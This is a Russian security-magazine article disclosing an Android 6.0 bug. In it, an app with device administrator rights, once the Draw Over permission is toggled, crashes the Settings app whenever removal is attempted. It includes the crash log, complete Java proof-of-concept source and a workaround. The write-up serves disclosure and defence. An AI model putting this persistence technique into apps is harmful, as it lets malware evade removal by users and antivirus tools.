Фокус с Draw Over. Раскрываем уязвимость в Android 6 и делаем неудаляемое приложение

Фокус с Draw Over. Раскрываем уязвимость в Android 6 и делаем неудаляемое приложение

Статья была впервые опубликована в журнале «Хакер»

Об истории обнаружения некоторых уязвимостей можно писать настоящие приключенческие романы, другие же выявляются случайно во время рутинного тестирования. Именно так произошло и на этот раз. В ходе работы над одним из мобильных приложений неожиданно выяснилось, что с помощью определенной последовательности действий можно установить на девайс с Android 6.0 программу, которую впоследствии невозможно будет удалить стандартным способом. Как это работает? Давай разберемся.

Ошибку в логике работы самой популярной на нашей планете мобильной операционной системы обнаружил исследователь из компании «Софт-Эксперты» Александр Свириденко. Эта ошибка позволяет при помощи нехитрых манипуляций установить на работающее под управлением Android 6.0 устройство программу, которую невозможно удалить штатными средствами ОС. А если таким приложением внезапно окажется троян, его не сумеет снести ни один антивирус.

Разумеется, о столь удивительной находке была тут же проинформирована корпорация Google. Вскоре исследователь получил официальный ответ от Android Security Team, который в целом сводился к следующему: разработчиков ОС интересуют в первую очередь уязвимости в актуальных версиях Android, для которых еще выпускаются обновления, в то время как Android 6.0 — система морально устаревшая. Поэтому парни в Google не считают обнаруженную ошибку критической и вообще не рассматривают ее как серьезный инцидент, тем более что в новых версиях Android она уже устранена.

То, что на руках у десятков тысяч пользователей все еще имеется целый зоопарк девайсов, работающих под управлением «шестерки» и потому подверженных уязвимости (что документально подтверждается статистикой, которую может получить практически каждый разработчик Android-приложений), никого не интересует.

После получения такого отклика в адрес «корпорации добра» было отослано второе письмо, содержащее более подробное описание выявленной ошибки, но ответа на это послание так и не последовало. Ну а поскольку с момента отправки в Google баг-репорта прошел ровно год, настало самое подходящее время рассказать о находках.

WARNING

Эта статья несет исключительно информационный характер, и почерпнутую в ней информацию следует использовать только для самообразования. Автор не несет ответственности за любые возможные последствия практического применения изложенных здесь сведений и категорически не рекомендует применять описанные в статье методы и приемы в каких-либо иных целях, кроме исследовательских.

Теоретические принципы

В составе Android имеется важное приложение settings.apk, которое отвечает за отображение экрана системных настроек. Одна из ключевых особенностей settings.apk заключается в том, что только это приложение имеет полномочия назначать другим программам или отзывать привилегии администратора.

В Google специально установили такое жесткое ограничение, чтобы исключить получение повышенных привилегий клиентским софтом в обход операционной системы. Однако подобный подход к обеспечению безопасности подразумевает наличие как минимум одного узкого места. Какого?

Давай представим себе чисто гипотетическую ситуацию. Предположим, некий условный вредонос, просочившийся на наше устройство, умудрился получить для себя права админа. Используя эти привилегии, троян может успешно противостоять попыткам пользователя или другого ПО его удалить.

Чтобы деинсталлировать такое приложение, нужно сначала отобрать у него администраторские привилегии. Сделать это можно с использованием системного окна «Настройки», за которое отвечает settings.apk. Однако, если наш гипотетический вредонос будет всякий раз ронять этот компонент при попытке изменить его привилегии, лишить трояна «административного ресурса», а следовательно, и удалить его с устройства станет невозможно.

Единственным способом избавиться от назойливой программы в подобной ситуации станет только сброс телефона или планшета к заводским настройкам со всеми вытекающими из этой процедуры неприятными последствиями. Простая перезагрузка девайса не поможет. Звучит интересно, не правда ли? Теперь давай посмотрим, как это работает на практике.

Практическая реализация уязвимости

Как любил говорить заслуженный артист России известный иллюзионист Амаяк Акопян, «чтобы фокус получился, нужно дунуть: если не дунуть, никакого чуда не произойдет». В нашем случае волшебное превращение системного приложения settings.apk в тыкву происходит на Android 6.0 в результате строго определенной последовательности действий, подробно описанной ниже.

В первую очередь реализующему уязвимость приложению необходимо получить в системе привилегии администратора. Добиться этого можно разными способами. Самый простой, который и использует практически вся подобная малварь, — отрисовка на экране назойливого системного уведомления с вежливой просьбой выдать программе нужные права. Окошко блокирует нормальную работу устройства до тех пор, пока юзер наконец не согласится жамкнуть на кнопку Ok, лишь бы от него отстали. Способ тупой, но на удивление действенный.

Затем нужно включить для нашего приложения системное разрешение Draw Over и сразу же отключить его. Это разрешение позволяет программе отображать свои экранные объекты поверх окон других приложений (иногда эту настройку называют также «наложением»). Эта функция используется, в частности, для демонстрации пользователю какой-либо жизненно важной информации со стороны приложения, которую он ни в коем случае не должен пропустить, — например, рекламы. Почему последовательное включение и отключение конкретно этого разрешения приводит в Android 6.0 к описываемым нами последствиям, знает, наверное, только великий компьютерный сверхразум, который Сергей Брин и Ларри Пейдж держат взаперти в подвальных казематах центрального офиса Google.

Как бы то ни было, после этих нехитрых манипуляций с настройками при любой попытке удалить наше приложение из системы компонент settings.apk с треском и грохотом падает, не позволяя завершить начатое. А программа как ни в чем не бывало продолжает работать, причем с правами администратора.

В результате удалить приложение с устройства становится невозможно ни штатными средствами операционной системы, ни с использованием антивирусных программ. На анимации этот замечательный эффект продемонстрирован более чем наглядно. А вот как выглядит в описываемом нами случае crash report самого settings.apk.


AndroidRuntime: FATAL EXCEPTION: 
main Process: com.android.settings, PID: 22149   
java.lang.RuntimeException: Unable to resume activity {com.android.settings/com.android.settings.DeviceAdminAdd}: 
java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform SYSTEM_ALERT_WINDOW at 
android.app.ActivityThread.performResumeActivity(ActivityThread.java:3103) at 
android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3134) at 
android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2481) at 
android.app.ActivityThread.-wrap11(ActivityThread.java) at 
android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) at 
android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) 
at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method) 
at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) 
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)   

Caused by: java.lang.SecurityException: com.eicar from uid 11376 not allowed to perform 
SYSTEM_ALERT_WINDOW at android.app.AppOpsManager.checkOp(AppOpsManager.java:1521) 
at com.android.settings.DeviceAdminAdd.onResume(DeviceAdminAdd.java:384) 
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1258) 
at android.app.Activity.performResume(Activity.java:6327) 
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3092) 
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3134) 
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2481) 
at android.app.ActivityThread.-wrap11(ActivityThread.java) 
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1344) 
at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:148) 
at android.app.ActivityThread.main(ActivityThread.java:5417) at java.lang.reflect.Method.invoke(Native Method)
 at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:726) 
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:616)

Из него мы можем сделать вывод, что наше приложение вызывает FATAL EXCEPTION в процессе com.android.settings. Ошибка возникает в кривом обработчике проверки наличия прав администратора у приложений. Краш происходит как раз в момент проверки разрешений, которые имеются у программы. В результате com.android.settings падает, а процедура удаления приложения прерывается.

Proof of concept

Чтобы продемонстрировать принцип эксплуатации этой системной ошибки, мы создали небольшое приложение. За основу был взят файл EICAR, при помощи которого тестируется работоспособность антивирусных программ. Вот как работает это приложение.

Для начала создадим Activity, с использованием которого можно назначить и отозвать администраторские привилегии для нашего приложения.

package com.eicar;

import android.app.admin.DeviceAdminReceiver;
import android.content.Context;
import android.content.Intent;

public class DeviceAdmin extends DeviceAdminReceiver {
  private static final String ADMIN_DISABLE="android.app.action.DEVICE_ADMIN_DISABLE_REQUESTED";

  public void onReceive(final Context context, Intent intent) {
    if (intent.getAction().equals(ADMIN_DISABLE)) {}
  }
}

А вот исходники основного Activity:

package com.eicar;

import android.app.Activity;
import android.app.admin.DevicePolicyManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.net.Uri;
import android.os.Build;
import android.provider.Settings;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.TextView;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
  TextView textView;
  Button button;
  private static final int OVERLAY_PERMISSION_REQ_CODE =0;
  boolean isTry;

  @Override
  protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    isTry=false;
    setContentView(R.layout.activity_main);
    textView = findViewById(R.id.text);
    if (Build.VERSION.SDK_INT != 23) {
      textView.setText("it works only on android 6");
      return;
    }
    button = findViewById(R.id.button);
    button.setVisibility(View.VISIBLE);
  }

  public  boolean startDeviceAdmin(Activity activity, int ActivityResultCode) {
    if(!isDeviceAdmin()){
      ComponentName mDeviceAdmin =  new ComponentName(activity, DeviceAdmin.class);
      Intent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
      intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdmin);
      intent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION,"Activate Device Admin");
      activity.startActivityForResult(intent,ActivityResultCode);
      return true;
    }
    return false;
  }

  private boolean isDeviceAdmin() {
    DevicePolicyManager mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
    ComponentName mDeviceAdmin = new ComponentName(this, DeviceAdmin.class);
    return mDPM != null && mDPM.isAdminActive(mDeviceAdmin);
  }

  @Override
  protected void onResume(){
    super.onResume();
    if(!isDeviceAdmin()) {
      textView.setText("Click button and activate Device Admin");
      button.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
          startDeviceAdmin(MainActivity.this, 0);
        }
      });
    } else if(isTry==false) {
      textView.setText("Enable and then disable 'Draw over' setting");
      button.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View view) {
          try {
            isTry = true;
            Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName()));
            startActivityForResult(intent, OVERLAY_PERMISSION_REQ_CODE);
          } catch (Exception ex) {
            Toast.makeText(MainActivity.this, "Your device does not support floating windows.", Toast.LENGTH_LONG).show();
          }
        }
      });
    } else if(isTry==true&&!Settings.canDrawOverlays(this)) {
      textView.setText("Try to delete me :)");
    }
  }
}

Как говорится, пристегните ремни и наслаждайтесь полетом.

Выводы

Несмотря на то что все приложения в Android выполняются в песочнице, что теоретически должно исключить доступ к их данным извне, а также существенно повысить безопасность системы в целом, при должном творческом подходе это самое понятие безопасности становится весьма относительным.

В этой статье мы рассмотрели только один частный случай эксплуатации ошибки в системном компоненте одной конкретной версии Android. Причем эта ошибка влечет за собой весьма неприятные последствия для пользователя: он лишается возможности удалить приложение, которое может нести в себе опасность, а антивирусы становятся в подобной ситуации совершенно бессильны.

Обойти описанную в статье проблему можно очень просто: нужно всего лишь вернуть приложению разрешение Draw Over, которое позволяет рисовать экранные формы поверх других окон. Тогда падения settings.apk не произойдет, и «неудаляемую» программу можно будет без труда деинсталлировать с устройства. Основная проблема кроется в том, что догадаться об этом без подсказки не сможет ни пользователь, ни тем более антивирус.

Сколько подобных ошибок кроется в недрах более современных реализаций Android, не знает, наверное, никто. Поэтому традиционные методы обеспечения безопасности мобильных устройств не теряют своей актуальности: нужно следить за тем, что и откуда пользователь устанавливает на свое устройство, и периодически включать голову, чтобы случайно не выдать какому-нибудь трояну права администратора.